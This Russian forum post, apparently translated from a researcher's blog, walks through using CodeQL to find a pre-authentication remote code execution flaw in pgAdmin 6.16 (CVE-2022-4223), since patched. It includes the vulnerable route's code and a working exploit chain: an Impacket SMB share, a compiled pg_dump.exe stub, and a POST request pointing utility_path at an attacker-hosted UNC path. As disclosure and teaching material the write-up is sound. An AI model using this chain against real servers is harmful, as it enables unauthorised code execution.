• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Предварительная аутентификация RCE с CodeQL менее чем за 20 минут

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
1670435037015.png

ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

На этот раз в этой статье не будет интенсивного обсуждения методов проверки кода безопасности. Мы просто передадим всю тяжелую работу третьей стороне: CodeQL
Наша цель? pgAdmin А если быть точнее, веб-интерфейс, если запускать pgAdmin в режиме сервера. Для тех из вас, кто еще не знаком с pgAdmin, загляните на их веб-сайт.
pgAdmin — это самая популярная и многофункциональная платформа администрирования и разработки с открытым исходным кодом для PostgreSQL, самой передовой базы данных с открытым исходным кодом в мире. Это утверждение с их сайта действительно верно. Я использовал этот инструмент уже много лет назад в своей карьере разработчика программного обеспечения. Но я не знал, что эту «клиентскую» программу можно запустить в своего рода серверном режиме. Может быть, вы где-то уже видели такие экраны входа в систему?
Команда pgAdmin написала прекрасно написанное введение о том, как быстро настроить такой сервер. pgAdmin можно развернуть как веб-приложение, настроив приложение для работы в режиме сервера, а затем развернув его либо за веб-сервером, работающим в качестве обратного прокси-сервера, либо с использованием интерфейса WSGI. Хорошо, тогда: мы знаем, как настроить такие вещи, а также довольно часто можно найти их в общедоступном Интернете (и, я думаю, в Интранете). Поскольку я ежедневно сталкиваюсь с множеством различных продуктов на работе, иногда необходимы разные подходы, чтобы получить первое представление о степени «устойчивости» в отношении обнаружения уязвимостей. Один из моих многочисленных подходов учитывает CodeQL, «механизм семантического анализа кода». Я не хочу пытаться дать вам правильное введение в CodeQL (я не думаю, что смогу), а скорее дать вам пошаговое руководство о том, как это использовалось для атаки на код pgAdmin. CodeQL нужна база данных, содержащая код в структурированном формате в зависимости от целевого языка. Например, для Java нужно позволить движку CodeQL быть частью вашего процесса компиляции. Глядя на проект pgAdmin GitHub , мы видим, что основным языком является Python . К счастью, CodeQL поддерживает и этот язык. Поскольку https://lgtm.com/ будет закрыт в этом месяце, получение готовых баз данных CodeQL с этой платформы больше не будет возможным. Но хорошо для нас, команда CodeQL предоставляет массу отличной документации, например, для создания таких баз данных . Мне нравится смотреть на код с помощью Visual Studio Code , который поддерживает движок CodeQL!

1670435320021.png

Итак, давайте сначала установим расширение.
В левой части боковой панели появится новая кнопка с именем QL .
Далее мы получаем последнюю версию 6.16 pgAdmin (на момент обнаружения уязвимости) из проекта GitHub .
Мы сразу распознаем webкаталог с несколькими файлами Python, частью веб-приложения, о котором мы поговорим позже.
Если ваша установка расширения CodeQL завершена правильно, вы найдете файл CLI CodeQL в каком-то месте, например

Код:
$HOME/.config/Code/User/globalStorage/github.vscode-codeql/distribution2/codeql/codeql.

Выполнение этого файла поможет вам. Установить alias, отрегулируйте .bashrcили все, что соответствует вашим потребностям в комфорте.




Код:
Usage: codeql <command> <argument>...
Create and query CodeQL databases, or work with the QL language.
...

Теперь все готово для создания базы данных CodeQL!

Код:
 $ codeql database create pgadmincodeql --language=python
Initializing database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Running build command: []
...
Finalizing database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Successfully created database at $HOME/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql


И действительно новый каталог pgadmincodeqlбыл успешно создан. Легко, не так ли? Теперь нам нужно перенести эту базу данных в нашу рабочую область VS Code с помощью меню QL.

1670435557709.png


Выберите только что созданную папку, и база данных волшебным образом появится в VS Code. Затем вы должны установить его по умолчанию, нажимая на него, пока не появится серая метка. Вы готовы использовать базу данных!
Прежде чем мы сможем выполнять крутые запросы CodeQL, необходимы подарки от занятой команды/сообщества GitHub CodeQL. Поэтому клонируйте официальный репозиторий CodeQL GitHub в свою рабочую область. Готовы найти удаленное выполнение кода до аутентификации (RCE) всего за несколько кликов?

Найдите недостаток - CodeQL

Так что я не лгал, обнаружив недостаток менее чем за 20 минут. Это включало загрузку исходного кода pgAdmin, установку расширения VS Code, создание базы данных CodeQL, клонирование репозитория CodeQL GitHub и запуск только одного предварительно созданного запроса CodeQL. Итак, мы импортировали базу данных CodeQL в нашу рабочую область VS Code. Теперь давайте перейдем непосредственно к сути, даже не собираясь делать сопоставление приложений и другие полезные вещи, которые обычно ожидаются во время проверки кода безопасности. В VS Code Explorer виден проект CodeQL GitHub, и мы переходим к codeql/python/ql/src/Security. Там вы найдете все сумасшедшие вещи, которые люди сделали, чтобы обеспечить интеллектуальные запросы к вашей базе данных. Нас особенно интересуют запросы, которые

  1. Позволяют покрывать сразу много опасных раковин.
  2. Включите испорченный дух анализа, т. е. вместо того, чтобы «просто» показывать потенциальные опасные поглотители, также дайте нам информацию о том, можно ли и как поглотитель можно получить из доступного источника.

codeql/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql будет хорошим началом. Давайте попробуем открыв этот файл, а затем просто нажмите CodeQL: Run query . Это займет некоторое время, выпейте кофе… вы вернулись? Посмотрим, каков результат.

1670435757830.png


Вау, это много всего! Поскольку вы, возможно, знаете меня по предыдущим сообщениям в блоге: я ленив, т.е. часто сначала ищу наиболее очевидный путь атаки.

The subprocess.getoutput( ) полностью соответствует моему вкусу.

1670435820181.png


Действительно, CodeQL проделал большую работу. Он «понял», что requestот flaskЗдесь используется библиотека Python. Это используется во всем коде, например, для чтения из request.dataи что-то с этим делать. Давайте подробнее рассмотрим эту функцию

Код:
@blueprint.route("/validate_binary_path",
endpoint="validate_binary_path",
methods=["POST"]) # [1]
def validate_binary_path():
"""
    This function is used to validate the specified utilities path by
    running the utilities with there versions.
    """
data = None
if hasattr(request.data, 'decode'):
data = request.data.decode('utf-8')

if data != '':
data = json.loads(data)

version_str = ''
if 'utility_path' in data and data['utility_path'] is not None: # [2]
        # Check if "$DIR" present in binary path
        binary_path = replace_binary_path(data['utility_path']) # [3]

for utility in UTILITIES_ARRAY: # [4]
            full_path = os.path.abspath(
os.path.join(binary_path,
(utility if os.name != 'nt' else
(utility + '.exe')))) # [5]

 try:
# Get the output of the '--version' command
                version_string = \
subprocess.getoutput('"{0}" --version'.format(full_path)) # [6]
                # Get the version number by splitting the result string
                version_string.split(") ", 1)[1].split('.', 1)[0]
 ...

В [1] определяется обработчик HTTP-маршрута с /validate_binary_path в качестве соответствующей части URI для запуска кода. Мы ожидаем, что он будет поступать как POST-запрос. request.data считывается, и в [2] параметр utility_path POST-тела обрабатывается в блоке if. Функция в [3] нас не особо волнует, вы можете спросить себя "зачем". Но в [4] константа с именем UTILITIES_ARRAY, похоже, сильно ограничивает наш конечный вход, который впоследствии попадает в вызов подпроцесса. constants.py говорит нам, что UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']. Прекрасно, но в [5] мы все еще контролируем переменную binary_path, названную теперь binary_path, верно? Мы контролируем путь, но не имя файла, выполняемого в опасном конечном стоке на [6]. Также вы могли заметить, что модуль flask_login предоставляет аннотацию @login_required (проверьте другие маршруты веб-приложения) для проверки аутентифицированного контекста. В данном случае она отсутствует, поэтому мы должны, по крайней мере, иметь возможность обратиться к этому маршруту из неаутентифицированного контекста. Действительно, можно! Но вы знаете, это Python, и руководство по установке в режиме сервера, упомянутое в начале, также описывает установку на Windows. Я не буду описывать подробное пошаговое руководство по установке pgAdmin в режиме сервера на Windows, потому что это заняло у меня более 3 часов и сделало бы название моей статьи в блоге неактуальным *cough*.
Если у вас достаточно терпения, вы можете попробовать использовать Python CLI под Windows, чтобы проверить, что происходит после использования UNC-пути к удаленному ресурсу в конструкции os.path.abspath(os.path.join(...)). Угадайте что, все сработает как ожидалось, и файл будет получен, прочитан, вызван, что угодно.
Давайте попробуем это сделать, настроив SMB-сервер на нашей атакующей Linux-машине с помощью известного набора Impacket.

Код:
./smbserver.py myshare $HOME/tmp

В каталоге tmp я создаю файл с именем случайно выбранной записи из списка UTILITIES_ARRAY, например, pg_dump[.exe]. Ну, не совсем случайно, мы хотим сделать все правильно с первого раза. Поэтому давайте создадим .exe, используя кросс-компилятор mingw и файл pg_dump.c следующим образом.

Код:
void main() {
 system("cmd.exe /K mspaint");
}

Теперь POST /misc/validate_binary_path HTTP/1.1 должен активировать путь уязвимого кода. В зависимости от вашей установки pgAdmin в Windows вы должны сначала получить файл cookie и CSRF-токен либо из просмотра /, /login, либо /browser. Это возможно для любого типа установки, поэтому мы просто предполагаем, что на данный момент вы смогли получить содержимое для заголовка X-pgA-CSRFToken. Окончательная полезная нагрузка выглядит так.

Код:
POST /misc/validate_binary_path HTTP/1.1
Host: [TARGETHOST]
Cookie: [COOKIES_YOU_FETCHED_IN_ADVANCE]
X-pgA-CSRFToken: [CSRF_TOKEN_YOU_FETCHED_IN_ADVANCE]
Connection: close
Referer: https://[TARGETHOST]/browser/
Content-Length: [n]
Content-Type: application/json
{"utility_path":"\\\\[ATTACKER_IP]\\[PREFERED_SHARE_NAME]"}

После запуска полезной нагрузки мы видим входящее соединение SMB на нашей машине, извлекая файл(ы) pg_dump.exe: RCE до аутентификации достигнуто.

1670436167738.png


Patch​


Команда pgAdmin присвоила CVE-2022-4223 и быстро выпустила новую версию 6.17 . Спасибо им и их доброму общению. Я также горжусь тем, что теперь они улучшили свой процесс раскрытия информации, добавив больше информации о своем проекте GitHub, а также обсудив создание SECURITY.md.

1670436232323.png


Хорошо, неаутентифицированный контекст для злоумышленника: killed. Но, на мой взгляд, тот же эксплойт все равно должен работать из аутентифицированного контекста.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх